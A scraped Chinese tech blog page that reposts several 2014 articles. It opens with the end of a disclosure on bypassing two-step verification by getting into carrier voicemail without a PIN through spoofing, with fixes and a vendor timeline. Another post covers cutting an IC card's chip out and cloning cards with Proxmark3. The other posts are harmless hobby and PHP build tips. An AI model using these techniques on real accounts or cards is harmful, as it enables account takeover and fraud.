广大的读者你们好,我校对了上面的一些信息,包括世界各地各种移动网络的终端。 由于我不能查对 Telco 的海外电话商,我 知道世界各地的人都关心他们的电话商是否是易受攻击的。 要看你是否可以通过欺诈服务不用pin码就进入语音信箱,仅需要跟着上午所说的流程来,将终端号码改为你的电话商用的。 如果你的电话商也容易受到攻击请通过邮件或者是评论来告诉我。 应对这个问题并没有想象中的那么简单,这要求重新构造两步验证的电话通知。这里是一些建议的解决方法(在给那些公司的邮件里都提到过): * 要求用户的交互作为验证(推荐) * 以语音信箱检测结束通话(不可靠) 最后也是最重要的: * 去除语音通话发送验证码的功能(减少了用户体验) * * * ## 向 Optus揭露 我和[**Ben Grubb**](https://twitter.com/bengrubb)一起工作很愉快(The Sydney Morning Herald and The Age的编辑),他帮助我把这些问题反映给Optus并且在此过程中非常热心也很有合作精神。 当我第一次发现Optus是易受攻击的时候,我的研究让我注意到这篇文章**[thisIs your Voicemail Hackable? Optus, Telstra and Vodafone respond](http://www.ausbt.com.au/is-your-voicemail-hackable-optus-telstra-and-vodafone-respond)** Optus很严肃认真地对待顾客的隐私。顾客必须设置一个独一无二的PIN码来激活他们的语音信箱系统。当他们的PIN码被用户服务重新设置时,Optus会建议他们重新设置一个只有他们自己知道的PIN码。 至于欺诈服务,我们正在寻求多种方式来强调这一正在出现的整个工业界的威胁,包括技术上的解决途径以及进行对顾客的教育。 这篇文章的日期是2011年7月22号,距今已经三年了,令人惊讶的是这个问题依然存在并且是一个关于隐私的巨大隐患! 我和Ben在2014年3月2日将这个问题告诉了Optus,从那以后七天左右Optus修复了这个问题。 然而,在修复以后几个小时之内,我能够又一次找出不用pin就可以进入任何Optus顾客语音信箱的方法。Optus正在研究这样的绕过方法,但是在没有其他公告之前,如果你使用Optus或者其他使用他们网络的代理商的服务,请假设你的语音信箱是不安全的,比如Vaya, LiveConnected, Amaysim, Exetel, Yatango 等等。 * * * ### 备注**** 正如同我之前对于[**captchas**](http://blog.shubh.am/captchajacking-bypass-captchas/), [**SSRF**](http://blog.shubh.am/demonstrating-the-critical-nature-of-ssrf---accessing-paypal%27s-internal-network-2/)和 [**rate limiting**](http://blog.shubh.am/full-disclosure-coinbase-security/)的迷恋一样,我认为语音信箱和移动网络的安全会占用我未来的许多时间。 每个人都知道移动网络的安全性很差,但是都没有做出什么改变,直到我们因此受到侵害才能意识到这件事情的重要性。 如果你想要跟进我的语音信箱的研究,我会根据电话商的回复来定期更新我的twitter. [**Follow @infosec_au**](https://twitter.com/infosec_au) 以下服务可能会受到影响,但是我并没有彻底去检测: * Snapchat * Egnyte (Uses DuoSecurity 2FA and hence is not vuln until further notice) * Amazon * Dynadot * Airbnb * Elance * Chase * Discover * Fairwinds 另外有已确认是易受攻击的: * Zoho.com (Found by [**David Vo**](https://twitter.com/auscompgeek)) 感谢你的阅读,我希望你能够觉得这篇文章有用。 [我是如何绕过Google和Facebook等大站的两步验证的](http://blog.jobbole.com/74590/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 跟我学姿势:极客教你如何科学的刷卡 Date: 2014-08-06 URL: https://blog.wo.ai/archives/667 Categories: Uncategorized [![13901407122925](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c028878fcc_639c05bce2b9b295ef39fae543d20c24.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c028878fcc_639c05bce2b9b295ef39fae543d20c24.jpg "跟我学姿势:极客教你如何科学的刷卡") 首先用手机开闪光灯,定位芯片的位置,在用笔画出芯片位置。卡内构造是一个比较大的线圈连接一个小小的芯片,最重要的就是那个芯片,通俗来讲就是无线电波通过线圈激活IC卡芯片在将IC卡芯片数据发射出去或接受读写器的数据。 [![72761407122928](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/998f4ec2ff_952b06f6a6833ec5fc1e24d96f24a64f.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/998f4ec2ff_952b06f6a6833ec5fc1e24d96f24a64f.jpg "跟我学姿势:极客教你如何科学的刷卡") [![92111407122930](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7c6c5d6275_9a2aa342644dac2c60e775ea9d19d252.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7c6c5d6275_9a2aa342644dac2c60e775ea9d19d252.jpg "跟我学姿势:极客教你如何科学的刷卡") 因为最开始的时候找不到剪刀只能用网线钳了,哈哈。 [![34521407122933](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/da0fb94ac2_bf75218cccf8f479535d8e64baa3986f.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/da0fb94ac2_bf75218cccf8f479535d8e64baa3986f.jpg "跟我学姿势:极客教你如何科学的刷卡") 然后再将剪好的卡芯片放进了丙酮,就是溶解PVC的药水。泡几个小时就能把白白的外壳泡烂。注意不要直接用手触摸这是有毒的,最好用镊子抓出来。 [![45351407122936](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cebb7adad6_f0ea6385892991c06b76a0892972380d.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cebb7adad6_f0ea6385892991c06b76a0892972380d.jpg "跟我学姿势:极客教你如何科学的刷卡") [![90281407122938](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e92b9b67c7_31ced66a33e0aa77690b3beba7cc250a.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e92b9b67c7_31ced66a33e0aa77690b3beba7cc250a.jpg "跟我学姿势:极客教你如何科学的刷卡") [![82431407122941](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a22de8f327_ea8cc8a1b1cf17892516a2a09bc7cc62.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a22de8f327_ea8cc8a1b1cf17892516a2a09bc7cc62.jpg "跟我学姿势:极客教你如何科学的刷卡") [![98141407122944](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/681a1b0bf7_fadb7bc8b6da70af42acb29605f566c6.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/681a1b0bf7_fadb7bc8b6da70af42acb29605f566c6.jpg "跟我学姿势:极客教你如何科学的刷卡") 把多余的塑料和原来的线圈用刀片分开。 [![10021407122946](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e439afe57b_ccf39ddf9012b7bb5bc20a020e64e237.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e439afe57b_ccf39ddf9012b7bb5bc20a020e64e237.jpg "跟我学姿势:极客教你如何科学的刷卡") 然后用烙铁把锡和自己做的线圈焊接芯片上,放在IC卡器上测试是否能感应到(PS线圈太小的话很有可能感应不了的!!!!!) [![98121407122949](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b4d3908a39_0c8dfb8b8771042a811a93fe5075899e.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b4d3908a39_0c8dfb8b8771042a811a93fe5075899e.jpg "跟我学姿势:极客教你如何科学的刷卡") 把线圈和芯片放进手环U盘槽里。 [![25151407122952](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a1eca804ca_5bc9e77ffc6c7fe8d256d79b9ed519ab.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a1eca804ca_5bc9e77ffc6c7fe8d256d79b9ed519ab.jpg "跟我学姿势:极客教你如何科学的刷卡") [![83791407122954](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fecc1e874b_4fdda95fae79f3249d1250cc14c47b64.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fecc1e874b_4fdda95fae79f3249d1250cc14c47b64.jpg "跟我学姿势:极客教你如何科学的刷卡") 假如说市面上的智能手环(如小米)内置IC芯片然后通过大杀器acr122u,或者用radiowar团队Proxmark3 复制到手环上刷各种卡时候直接上了一个档次.**妈妈再也不用担心我的卡丢掉了!** 一说到@radiowar团队就想吐槽一下.WiFiPineapple卖的好贵撒。然后我通过自己的努力以及某基友的帮助终于吧WiFiPineapple系统移植到自己屌丝机HG255D上karma居然不能正常工作了。这是芯片问题么?还是移植不完美. [跟我学姿势:极客教你如何科学的刷卡](http://www.geekfan.net/11133/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## [转载]PHP 5.3.17 编译安装时出现 undefined reference to `libiconv’ 错误的解决方法 Date: 2014-08-06 URL: https://blog.wo.ai/archives/594 Categories: Technology **手动编译PHP安装时遇到如下错误** /usr/local/src/php-5.3.10/ext/xmlrpc/libxmlrpc/encodings.c:73: undefined reference to `libiconv_open’ /usr/local/src/php-5.3.10/ext/xmlrpc/libxmlrpc/encodings.c:81: undefined reference to `libiconv’ /usr/local/src/php-5.3.10/ext/xmlrpc/libxmlrpc/encodings.c:101: undefined reference to `libiconv_close’ collect2: ld returned 1 exit status make: *** [sapi/fpm/php-fpm] 错误 **1 表面看,是libiconv安装问题,重装libiconv之后问题依旧,网上看有人舍弃libiconv,使用 –without-iconv,我觉的不可取,这样是回避问题。 找了n久,终于找到bug所在: 在执行完 ./configure … 之后,修改下 Makefile,找到其中的** EXTRA_LIBS = -lcrypt -lz -lcrypt -lrt -lmysqlclient -lmcrypt -lldap -llber -lfreetype -lpng -lz -ljpeg -lcurl -lz -lrt -lm -ldl -lnsl -lrt -lxml2 -lz -lm -lssl -lcrypto -ldl -lz -lcurl -ldl -lgssapi_krb5 -lkrb5 -lk5crypto -lcom_err -lidn -lssl -lcrypto -lz -lxml2 -lz -lm -lssl -lcrypto -ldl -lz -lxml2 -lz -lm -lxml2 -lz -lm -lcrypt -lxml2 -lz -lm -lxml2 -lz -lm -lxml2 -lz -lm -lxml2 -lz -lm -lcrypt **在最后面添加 -liconv ,修改后如下** EXTRA_LIBS = -lcrypt -lz -lcrypt -lrt -lmysqlclient -lmcrypt -lldap -llber -lfreetype -lpng -lz -ljpeg -lcurl -lz -lrt -lm -ldl -lnsl -lrt -lxml2 -lz -lm -lssl -lcrypto -ldl -lz -lcurl -ldl -lgssapi_krb5 -lkrb5 -lk5crypto -lcom_err -lidn -lssl -lcrypto -lz -lxml2 -lz -lm -lssl -lcrypto -ldl -lz -lxml2 -lz -lm -lxml2 -lz -lm -lcrypt -lxml2 -lz -lm -lxml2 -lz -lm -lxml2 -lz -lm -lxml2 -lz -lm -lcrypt -liconv 本文出自 “[技术成就梦想](http://flyfishes.blog.51cto.com/)” 博客,请务必保留此出处 --- ## php编译扩展 Date: 2014-08-05 URL: https://blog.wo.ai/archives/587 Categories: Technology 今天在php程序中要使用exif信息,发现服务器的php居然没有编译这个模块,网上找了个教程,在这里做个笔记,省得以后忘了。 cd [php-source-dir]/ext/exif/ export PHP_PREFIX=”[your php install full path]” $PHP_PREFIX/bin/phpize ./configure –enable-exif=shared –with-php-config=$PHP_PREFIX/bin/php-config make make install 配置php.ini extension=”…/exif.so” 或者设置extension_dir = “[so-path]” , extension=”exif.so” 重起nginx --- --- ## 用Wii+乐高积木打造安卓游戏手柄 Date: 2014-08-05 URL: https://blog.wo.ai/archives/666 Categories: Uncategorized 如果你手边正好有多余的乐高积木以及一部任天堂Wii的话,就可以考虑为你的Android手机DIY一部游戏手柄了。如下图所示,它看起来或许略显简陋,但组装的过程才是乐趣所在。 [![s_5ab15c22c42943debb685d1f1909eea0](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d7fadbd74d_ee86f6b5a113dff6a93f388101e56299.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d7fadbd74d_ee86f6b5a113dff6a93f388101e56299.jpg "用Wii+乐高积木打造安卓游戏手柄") 首先你要在一大堆的乐高零件中找出合适的部件拼装成可以用来固定手机和Wiimote手柄的框架,由于Wiimote外观设计方面的原因,只有一处地方可以用来固定而不影响到按键。 [![s_e7f014666f464e8090bc6331429d067f](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/78acf130ee_9f14b1012c5fa01ffbe3241504d88c13.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/78acf130ee_9f14b1012c5fa01ffbe3241504d88c13.jpg "用Wii+乐高积木打造安卓游戏手柄") 想让Android设备和你的Wiimote融合起来,还需要一款名为[Wiimote-link](https://play.google.com/store/apps/details?id=com.ccpcreations.android.WiiUseAndroid)的安卓应用,需要注意的是该应用只支持Android 4.2及以上设备。 [![s_4b0fe633b1b149df882c034b2d695fb6](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/34addd716e_c0266aa3550aacf4edee2c6e086a73eb.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/34addd716e_c0266aa3550aacf4edee2c6e086a73eb.jpg "用Wii+乐高积木打造安卓游戏手柄") 理论上使用PS3手柄也是可以的,但由于PS3手柄的造型不如Wiimote来得方正,不适合使用乐高积木进行固定。 [用Wii+乐高积木打造安卓游戏手柄](http://www.geekfan.net/11104/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 酷毙了!看看这些机械昆虫 Date: 2014-08-05 URL: https://blog.wo.ai/archives/665 Categories: Uncategorized 艺术家贾斯汀祖父的铁路工人,爸爸是计算机迷。他从童年开始生活周围就被机械的东西包围着。长大了后,他仍然热爱将机械小零件拆卸,制作出新的东西非常迷人的。下面这些小蜘蛛,苍蝇,蝎子和螳螂等就是他的“机械”雕塑。 蜻蜓 [![20140512190328_30824](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/317bc88d01_1ac562607e47d53cd1b6aa72da839dff.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/317bc88d01_1ac562607e47d53cd1b6aa72da839dff.jpg "酷毙了!看看这些机械昆虫") 蝎子 [![20140512190328_89098](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/679e4a14fc_b16dce8295799612f5c82e52e6e0eba6.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/679e4a14fc_b16dce8295799612f5c82e52e6e0eba6.jpg "酷毙了!看看这些机械昆虫") 蜘蛛 [![20140512190329_60833](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/93112afebd_d51c6bcb9c4486956e614d93cddc21b9.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/93112afebd_d51c6bcb9c4486956e614d93cddc21b9.jpg "酷毙了!看看这些机械昆虫") 甲虫 [![20140512190329_32909](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ee77161352_ce35925e5812604469d176dfa5e5cbaf.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ee77161352_ce35925e5812604469d176dfa5e5cbaf.jpg "酷毙了!看看这些机械昆虫") [![20140512190329_92732](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/650444a6d0_685755f7ca6cdb3d45836f13a572d3ab.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/650444a6d0_685755f7ca6cdb3d45836f13a572d3ab.jpg "酷毙了!看看这些机械昆虫") 这个蜘蛛说不定会发光哦 [![20140512190329_25191](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d834594728_9c95b78d4363001f88dcd4d57979dd0c.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d834594728_9c95b78d4363001f88dcd4d57979dd0c.jpg "酷毙了!看看这些机械昆虫") 这个双头昆虫,太酷了! [![20140512190329_30544](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/26327f3a79_7195d6665dc70500baf44c56452c0741.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/26327f3a79_7195d6665dc70500baf44c56452c0741.jpg "酷毙了!看看这些机械昆虫") [![20140512190329_44499](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ccc05fc564_41401368ba50f9993b9892181de5c9a1.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ccc05fc564_41401368ba50f9993b9892181de5c9a1.jpg "酷毙了!看看这些机械昆虫") 这个是一个脑袋的 [![20140512190330_56730](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ae1e338205_91c32efe4d869027057a3901ce93b63e.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ae1e338205_91c32efe4d869027057a3901ce93b63e.jpg "酷毙了!看看这些机械昆虫") 苍蝇 [![20140512190330_89076](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d7335530ab_32c9889a21b2c2d8ac7e4d4c02be94c5.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d7335530ab_32c9889a21b2c2d8ac7e4d4c02be94c5.jpg "酷毙了!看看这些机械昆虫") 膛螂 [![20140512190330_69688](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d138798769_8a194ac96bacb349fd515aa4fce42cd3.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d138798769_8a194ac96bacb349fd515aa4fce42cd3.jpg "酷毙了!看看这些机械昆虫") [![20140512190330_64352](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0f8663010d_b442a35312869f47f2d854b66eb24368.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0f8663010d_b442a35312869f47f2d854b66eb24368.jpg "酷毙了!看看这些机械昆虫") [![20140512190330_21255](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2690045fc3_1f8856206901931d18fe1b14949c2ed6.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2690045fc3_1f8856206901931d18fe1b14949c2ed6.jpg "酷毙了!看看这些机械昆虫") 蚊子 [![20140512190330_30442](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cd66f9af07_019e63c9655e4bd33f2f6905ad31ef17.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cd66f9af07_019e63c9655e4bd33f2f6905ad31ef17.jpg "酷毙了!看看这些机械昆虫") 甲虫 [![20140512190331_74204](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c82cc0cedb_82cc5e9325b5228ccf11b9c3d7e40255.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c82cc0cedb_82cc5e9325b5228ccf11b9c3d7e40255.jpg "酷毙了!看看这些机械昆虫") 机械怪兽 [![20140512190331_89653](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/545cd54475_1b5fb53d2053ec2536ffe81d352f4508.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/545cd54475_1b5fb53d2053ec2536ffe81d352f4508.jpg "酷毙了!看看这些机械昆虫") 蝎子 [![20140512190331_39745](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1061056b3c_bf5a687988dbe020cdb6eb30ecfe1598.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1061056b3c_bf5a687988dbe020cdb6eb30ecfe1598.jpg "酷毙了!看看这些机械昆虫") 蝗虫 [![20140512190331_93976](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c7b0c09ed0_7485047c91213a041cdf1b9f619a24a8.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c7b0c09ed0_7485047c91213a041cdf1b9f619a24a8.jpg "酷毙了!看看这些机械昆虫") 其实咱们没事也可以研究研究做些好玩的东西,买个小电焊,20块左右,在弄点零件和铁丝,一个个让人爱不释手的小玩意就可以诞生了。 [酷毙了!看看这些机械昆虫](http://www.geekfan.net/11060/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 七夕示爱,技术宅的招数“高大上” Date: 2014-08-04 URL: https://blog.wo.ai/archives/664 Categories: Uncategorized [![10150858_980x1200_0](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1369c12d44_e99dc021e7f008ca022fbfc1537bc4c8.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1369c12d44_e99dc021e7f008ca022fbfc1537bc4c8.jpg "七夕示爱,技术宅的招数“高大上”") 今天是七夕佳节,大家想好怎么过节了吗?单身的朋友是否想要借着牛郎织女鹊桥相会之日向心仪已久的Ta表白爱意?热恋中的情侣们是否也想要趁机玩一把浪漫,给彼此留下美好回忆呢?今日发福利,送上七夕浪漫宝典,教你用科技玩转浪漫,我们只能帮你到这儿了。 [![10150847_980x1200_0](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/affa9d762c_27634e2316e34e6857d0d1512e90caf9.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/affa9d762c_27634e2316e34e6857d0d1512e90caf9.jpg "七夕示爱,技术宅的招数“高大上”") 【案例1:零基础自制app表爱意】 Lovestagram是一款基于Instagram的情人卡应用程序。这款应用是Instagram创始人迈克·克里格的女友Kaitlyn送给迈克的情人节礼物。在耶鲁大学修读政治学的Kaitlyn从未上过编程课程,为了给迈克惊喜,秘密下载教程,疯狂自学编程语言,终于编写出了这一应用。图为Kaitlyn为迈克制作的情人卡。 浪漫指数: ★★★★★ 评:迈克·克里格太幸福了!程序员们遇到愿意为你学编程的妹纸就赶快娶了吧。 [![10150848_980x1200_0](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d084bbfa3b_622f29efba898482f44bbbf150dadaa3.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d084bbfa3b_622f29efba898482f44bbbf150dadaa3.jpg "七夕示爱,技术宅的招数“高大上”") 【案例2:花5个月做游戏向女友求婚】 美国一名叫罗伯特·芬克(Robert Fink)的男子是3D视频游戏设计者,为了向女友Angel White求婚,他花了5个月做了一款名叫“Knight man”的游戏,并骗女友参与游戏测试。当女友试玩游戏通关时,游戏中的主人公救出公主,屏幕中出现一段话:“Angel White,我是否有幸能伴你共享余生呢?”选择“是”或“否”。而女友唯有选择后才能进入下一关。 浪漫指数: ★★★★★ 评:对于不会做游戏的童鞋们,从中可以学习的是“投其所好”。芬克之所以通过游戏来表白,是因为他女友可是资深游戏玩家哦。 [![10150849_980x1200_0](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b881842718_2452e4a5ec882f92363d46747181ba86.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b881842718_2452e4a5ec882f92363d46747181ba86.jpg "七夕示爱,技术宅的招数“高大上”") 【案例3:创意发光戒指助力求婚】 求婚时总少不了有颗戒指,旧金山一工程师 Ben Kokes花费了5个月为其未婚妻Julie Nicolai打造了一枚独一无二的求婚戒指,当他靠近未婚妻时,纯钛戒指中镶嵌的微型 LED 灯就会发光,照亮戒指中的宝石。由于收到戒指十分惊讶,Julie甚至没让Ben说完求婚词,就感动得say“Yes,I do”啦。 浪漫指数:★★★★★ 评:如此有创意的发明着实为求婚加分不少,相比于花钱买一个普通的戒指,花心思、花时间DIY更加令人感动。 [![10150850_980x1200_0](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5b97cc2fed_ae52315c9d77ef0ee6beea59d7a5c3b3.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5b97cc2fed_ae52315c9d77ef0ee6beea59d7a5c3b3.jpg "七夕示爱,技术宅的招数“高大上”") 【案例4:让枯燥的代码罗曼蒂克起来】 程序猿总给人呆板无趣的印象,因为他们经常跟枯燥的代码打交道。不过,有人让代码罗曼蒂克起来了。比如“Debug love,If exists bugs,Error :me” (译文:在爱里 检查错误/如果有错/错在我)这个用代码写就的三行情诗。比如西班牙程序猿Roman Cortes 用纯javascript脚本编写的红色玫瑰花。再比如有人用代码给自己的女友写了一个表白网页。 浪漫指数: ★★★★ 评:程序猿也有春天,代码也能成为浪漫武器。 [![10150851_980x1200_0](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b8201e26e5_52c0434387ef7c8a678391f0b7904811.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b8201e26e5_52c0434387ef7c8a678391f0b7904811.jpg "七夕示爱,技术宅的招数“高大上”") 【案例5:地王大厦投激光向男友表白】 今年“5·20”前夜,一名女孩制作激光动画并投影在深圳地王大厦外墙,向男神求爱。动画中,这位微博名叫@沐沐花开1990的女生讲述了自己和男神的故事:她去桂林散心时遇险,男神英雄救美,女生一见钟情,百般请求下男神只留下一张数独名片,女生解不开名片,就想到了投激光求爱的办法寻找男神。 浪漫指数:★★★★ 评:女孩勇气可嘉,一见钟情难得,各种努力“只为在人群中多看你一眼”也极为难得,有时感情就是需要争取的。 [![10150852_980x1200_0](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b197dc9c5e_6183c2a5ba09bf3a93c271017b571a81.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b197dc9c5e_6183c2a5ba09bf3a93c271017b571a81.jpg "七夕示爱,技术宅的招数“高大上”") 【案例6:自制Prezi视频送异地恋女友生日祝福】 复旦大学男生小计的女友到英吉利交流一学期,他们相恋后的第一个生日没法一起过,于是小计就用演示文稿软件Prezi制作了一个视频给女友当作生日礼物。视频中生动的动画展现了女友的成长经历和两人的恋爱经历,小计还在视频中邀请了女友的闺蜜们出镜送上祝福。 浪漫指数:★★★★ 评:比起用设备拍摄剪辑视频,这种方式成本还是比较低的,而且爱的动力也将激励你成为PPT达人、Prezi大神。 [![10150853_980x1200_0](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/529504d62f_3e88849f68d0250790dcd90bdb543231.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/529504d62f_3e88849f68d0250790dcd90bdb543231.jpg "七夕示爱,技术宅的招数“高大上”") 【案例7:用iPhone记录女友生活,剪辑成求婚影片】 网上曾热传一段影院求婚的视频,10天内点击率达200余万次。视频中男子用iPhone拍下和女友生活的片段,并剪辑成影片,跟朋友们合伙把女友骗到电影院观看。女友被感动得泪流满面,男子求婚成功。 浪漫指数:★★★★★ 评:专注美图三十年的某软件现在也能够一键帮你拍MV了,所以技术不是问题,展现你对生活的热忱是打动她的关键。 [![10150854_980x1200_0](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6f255bb7e0_676c36c04e3fbe643f2ea3b63b51060f.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6f255bb7e0_676c36c04e3fbe643f2ea3b63b51060f.jpg "七夕示爱,技术宅的招数“高大上”") 【案例8:“光影涂鸦”求爱】 中山大学学生小白之前用“光影涂鸦”的摄影技术向心仪女生Sandy表白。夜晚的校道上,他事先调整好相机参数,然后将Sandy“骗”到相机前,自己拿着手电筒,沿着石子铺设的轨迹奔跑,Sandy按下快门后,发光的表白字体映入眼帘。最终,两人成为情侣。 浪漫指数: ★★★★ 评:蜡烛求爱已经out了,光影告白的新技能你get到了吗? [![10150855_980x1200_0](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8bc59d9eeb_7c4cad1253b1c7fec5228a7d3b8526fd.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8bc59d9eeb_7c4cad1253b1c7fec5228a7d3b8526fd.jpg "七夕示爱,技术宅的招数“高大上”") 【案例9:“黑掉”电视求认识】 7月初,网友@苏哚i微博爆料,称她同学家智能电视被邻居“黑”掉了,电视屏幕黑屏后,出现一颗“心”,下面附语“我是802的板寸男,很想认识你。PS:微信已加你,求通过”。有安全工程师表示,板寸男可能是破解WiFi密码后,对接入WiFi的智能电视进行篡改。 浪漫指数: ★ 评:此等奇葩表白,我和我的小伙伴们都惊呆了。这是哪门子浪漫嘛,分明是惊吓,已然花容失色的女邻居都不敢回家了,还敢认识你吗? [![10150856_980x1200_0](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/07c990b355_08714c5f5787be176b9f415c891903d5.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/07c990b355_08714c5f5787be176b9f415c891903d5.jpg "七夕示爱,技术宅的招数“高大上”") 【案例10:贴吧社区发动众人短信表白】 编辑部一同事曾经参与过一次表白计划,至此谈及都兴奋不已。当时一男子在虎扑社区公布了自己的表白计划,并希望得到社区网友的支持,留下女友手机号,邀请大家发送“答应他吧”到女友手机。 浪漫指数: ★★★ 评:网友的力量不可小觑,这哥们善于利用这股力量成事,也算蛮有想法和创意的。只是,一下子收到那么多陌生人短信,妹纸还是会受到惊吓吧。 [七夕示爱,技术宅的招数“高大上”](http://www.geekfan.net/11039/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 跟我学姿势:极客教你如何科学的看电影 Date: 2014-08-02 URL: https://blog.wo.ai/archives/698 Categories: Uncategorized ![14068626857835 \(1\)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/45ed06d8d4_8638e8224e723b7192077a2a3113cad8.jpg) 俗话说自己动手丰衣足食,小米盒子之类的弱爆了,极客看片自然有极客的做法!相信看完本篇狠涨姿势的文章,你就可以像我一样吃着火锅唱着歌,喝着饮料吃着爆米花,用树莓派播放着nas下载好自己喜欢看的(cang)电(jing)影(kong)了! **nas部分** 1、U盘容量大于64m即可 2、显示器(或者之前就吧biso usb启动设置为第一项) 3、闲置的电脑、能正常开机即可 4、相关文件 **废话真多,那就开始吧打开win32diskimager、将xx.img烧录到U盘** [![5261406683839](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b65416a5ce_e4782dcb674d961c01b05498601cbae3.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b65416a5ce_e4782dcb674d961c01b05498601cbae3.png "跟我学姿势:极客教你如何科学的看电影") xx.img: 烧录软件: 进主板的bios设置从U盘启动,装过系统应该都会,因为每个主板的设置方法不同,不会就百度。以下是进入到系统后.最开始有两个选择点。可以不做选择(因为过一段时间默认选择缺省设置) 